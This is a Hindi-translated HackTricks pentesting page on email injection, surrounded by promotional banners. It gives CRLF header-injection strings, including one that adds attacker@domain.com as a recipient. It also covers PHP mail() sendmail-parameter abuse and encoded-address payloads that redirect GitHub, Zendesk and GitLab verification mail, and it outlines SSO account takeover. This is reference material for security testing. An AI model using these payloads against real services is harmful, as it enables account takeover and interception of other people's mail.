hacktricks/pentesting-web/email-injections.md

237 lines
21 KiB
Markdown
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Email Injections
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **कार्यप्रवाहों** को आसानी से बना और **स्वचालित** कर सकें।\
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## भेजे गए ई-मेल में इंजेक्ट करें
### प्रेषक तर्क के बाद Cc और Bcc इंजेक्ट करें
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
संदेश प्राप्तकर्ता और प्राप्तकर्ता1 खातों को भेजा जाएगा।
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
संदेश मूल प्राप्तकर्ता और हमलावर खाते को भेजा जाएगा।
### विषय तर्क इंजेक्ट करें
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
नकली विषय को मूल विषय में जोड़ा जाएगा और कुछ मामलों में इसे बदल भी दिया जाएगा। यह मेल सेवा के व्यवहार पर निर्भर करता है।
### संदेश के शरीर को बदलें
एक दो-लाइन फीड डालें, फिर अपने संदेश को लिखें ताकि संदेश के शरीर को बदला जा सके।
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() फ़ंक्शन का शोषण
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### 5वां पैरामीटर ($additional\_parameters)
यह अनुभाग **इस पैरामीटर का दुरुपयोग कैसे करें, यह मानते हुए कि एक हमलावर इसे नियंत्रित करता है** पर आधारित होगा।
यह पैरामीटर उस कमांड लाइन में जोड़ा जाएगा जिसे PHP बाइनरी sendmail को कॉल करने के लिए उपयोग करेगा। हालाँकि, इसे `escapeshellcmd($additional_parameters)` फ़ंक्शन के साथ साफ किया जाएगा।
एक हमलावर इस मामले में **sendmail के लिए अतिरिक्त पैरामीटर इंजेक्ट कर सकता है**
#### /usr/sbin/sendmail के कार्यान्वयन में अंतर
**sendmail** इंटरफ़ेस **MTA ईमेल सॉफ़्टवेयर** (Sendmail, Postfix, Exim आदि) द्वारा **प्रदान किया गया है** जो सिस्टम पर स्थापित है। हालाँकि **बुनियादी कार्यक्षमता** (जैसे -t -i -f पैरामीटर) संगतता कारणों से **एक समान** रहती है, **अन्य कार्य और पैरामीटर** स्थापित MTA के आधार पर बहुत भिन्न होते हैं।
यहाँ sendmail कमांड/इंटरफ़ेस के विभिन्न मैन पृष्ठों के कुछ उदाहरण दिए गए हैं:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**sendmail** बाइनरी के **उत्पत्ति** के आधार पर विभिन्न विकल्पों का पता लगाया गया है ताकि उनका दुरुपयोग किया जा सके और **फाइलें लीक करें या यहां तक कि मनमाने कमांड निष्पादित करें**। देखें कि कैसे [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## ई-मेल नाम में इंजेक्ट करें
{% hint style="danger" %}
ध्यान दें कि यदि आप किसी सेवा में एक मनमाने डोमेन नाम (जैसे Github, Gitlab, CloudFlare Zero trust...) के साथ एक खाता बनाने में सफल होते हैं और इसे अपने मेल पते पर सत्यापन ईमेल प्राप्त करके सत्यापित करते हैं, तो आप पीड़ित कंपनी के संवेदनशील स्थानों तक पहुँच सकते हैं।
{% endhint %}
### ईमेल के अनदेखे भाग
चिह्न: **+, -** और **{}** दुर्लभ अवसरों पर टैगिंग के लिए उपयोग किए जा सकते हैं और अधिकांश ई-मेल सर्वरों द्वारा अनदेखा किया जा सकता है।
* उदाहरण: john.doe+intigriti@example.com → john.doe@example.com
**कोष्ठकों () के बीच टिप्पणियाँ** शुरुआत या अंत में भी अनदेखी की जाएंगी।
* उदाहरण: john.doe(intigriti)@example.com → john.doe@example.com
### व्हitelist बायपास
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### उद्धरण
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### आईपी
आप वर्ग ब्रैकेट के बीच डोमेन नाम के रूप में आईपी का भी उपयोग कर सकते हैं:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### ईमेल एन्कोडिंग
जैसा कि [**इस शोध**](https://portswigger.net/research/splitting-the-email-atom) में समझाया गया है, ईमेल नामों में एन्कोडेड वर्ण भी हो सकते हैं:
* **PHP 256 ओवरफ्लो**: PHP `chr` फ़ंक्शन एक वर्ण में 256 जोड़ता रहेगा जब तक कि यह सकारात्मक नहीं हो जाता और फिर `%256` ऑपरेशन करता है।
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
इस ट्रिक का लक्ष्य एक इंजेक्शन के साथ समाप्त होना है जैसे `RCPT TO:<"collab@psres.net>collab"@example.com>`\
जो सत्यापन ईमेल को अपेक्षित ईमेल पते से अलग ईमेल पते पर भेजेगा (इसलिए ईमेल नाम के अंदर एक और ईमेल पते को पेश करना और ईमेल भेजते समय वाक्यविन्यास को तोड़ना)।
{% endhint %}
विभिन्न एन्कोडिंग:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* ध्यान दें कि एन्कोडेड `@` =40 के रूप में, एन्कोडेड `>` =3e के रूप में और null =00 के रूप में है&#x20;
* यह सत्यापन ईमेल `collab@psres.net` पर भेजेगा
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* पहले की तरह ही ट्रिक लेकिन शुरुआत में कुछ सामान्य उद्धरण जोड़ना और एन्कोडेड उद्धरण `=22` को एन्कोडेड `@` से पहले जोड़ना और फिर अगले ईमेल से पहले कुछ उद्धरण शुरू और बंद करना ताकि Zendesk द्वारा आंतरिक रूप से उपयोग की गई सिंटैक्स को ठीक किया जा सके
* यह सत्यापन ईमेल `collab@psres.net` पर भेजेगा
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* पता अलग करने के लिए अंडरस्कोर का उपयोग ध्यान दें
* यह सत्यापन ईमेल `collab@psres.net` पर भेजेगा
* Punycode: Punycode का उपयोग करके Joomla में `<style` टैग को इंजेक्ट करना संभव था और इसे CSS एक्सफिल्ट्रेशन के माध्यम से CSRF टोकन चुराने के लिए दुरुपयोग करना।
#### Tooling
* इस प्रकार के संयोजनों को फज़ करने के लिए एक **Burp Suite Turbo Intruder स्क्रिप्ट** है ताकि ईमेल प्रारूपों पर हमला करने की कोशिश की जा सके। स्क्रिप्ट में पहले से ही संभावित रूप से कार्यशील संयोजन हैं।
* [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) का उपयोग करके एक ईमेल स्प्लिटिंग हमले को बनाना भी संभव है
### Other vulns
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## Third party SSO
### XSS
कुछ सेवाएँ जैसे **github** या **salesforce आपको** **XSS पेलोड्स के साथ एक ईमेल पता बनाने** की अनुमति देती हैं। यदि आप **इन प्रदाताओं का उपयोग करके अन्य सेवाओं में लॉगिन कर सकते हैं** और ये सेवाएँ **ईमेल को सही ढंग से साफ़ नहीं कर रही हैं**, तो आप **XSS** का कारण बन सकते हैं।
### Account-Takeover
यदि एक **SSO सेवा** आपको **दिए गए ईमेल पते को सत्यापित किए बिना एक खाता बनाने** की अनुमति देती है (जैसे **salesforce**) और फिर आप उस खाते का उपयोग करके **एक अलग सेवा में लॉगिन कर सकते हैं** जो **salesforce पर भरोसा करती है**, तो आप किसी भी खाते तक पहुँच सकते हैं।\
_ध्यान दें कि salesforce यह संकेत करता है कि दिया गया ईमेल सत्यापित था या नहीं लेकिन इसलिए एप्लिकेशन को इस जानकारी को ध्यान में रखना चाहिए।_
## Reply-To
आप _**From: company.com**_ का उपयोग करके एक ईमेल भेज सकते हैं और _**Replay-To: attacker.com**_ और यदि कोई **स्वचालित उत्तर** भेजा जाता है क्योंकि ईमेल **एक आंतरिक पते** से **भेजा गया** था तो **हमलावर** उस **प्रतिक्रिया** को **प्राप्त** कर सकता है।
## Hard Bounce Rate
कुछ सेवाएँ, जैसे AWS, एक थ्रेशोल्ड लागू करती हैं जिसे **Hard Bounce Rate** के रूप में जाना जाता है, जो आमतौर पर 10% पर सेट होता है। यह एक महत्वपूर्ण मैट्रिक है, विशेष रूप से ईमेल वितरण सेवाओं के लिए। जब यह दर पार हो जाती है, तो सेवा, जैसे AWS की ईमेल सेवा, निलंबित या अवरुद्ध हो सकती है।
एक **hard bounce** उस **ईमेल** को संदर्भित करता है जो प्रेषक के पास वापस आ गया है क्योंकि प्राप्तकर्ता का पता अमान्य या अस्तित्वहीन है। यह विभिन्न कारणों से हो सकता है, जैसे कि **ईमेल** को एक गैर-मौजूद पते पर भेजा गया, एक ऐसा डोमेन जो वास्तविक नहीं है, या प्राप्तकर्ता सर्वर का **ईमेल** स्वीकार करने से इनकार।
AWS के संदर्भ में, यदि आप 1000 ईमेल भेजते हैं और उनमें से 100 हार्ड बाउंस में परिणामित होते हैं (जैसे अमान्य पते या डोमेन के कारण), तो इसका मतलब होगा 10% हार्ड बाउंस दर। इस दर तक पहुँचने या इसे पार करने से AWS SES (Simple Email Service) आपके ईमेल भेजने की क्षमताओं को अवरुद्ध या निलंबित कर सकता है।
यह सुनिश्चित करने के लिए कि ईमेल सेवा में कोई रुकावट न आए और प्रेषक की प्रतिष्ठा बनाए रखने के लिए एक कम हार्ड बाउंस दर बनाए रखना महत्वपूर्ण है। आपके मेलिंग सूचियों में ईमेल पते की गुणवत्ता की निगरानी और प्रबंधन इस लक्ष्य को प्राप्त करने में महत्वपूर्ण रूप से मदद कर सकता है।
अधिक विस्तृत जानकारी के लिए, AWS के आधिकारिक दस्तावेज़ में बाउंस और शिकायतों को संभालने के बारे में [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types) को संदर्भित किया जा सकता है।
## References
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}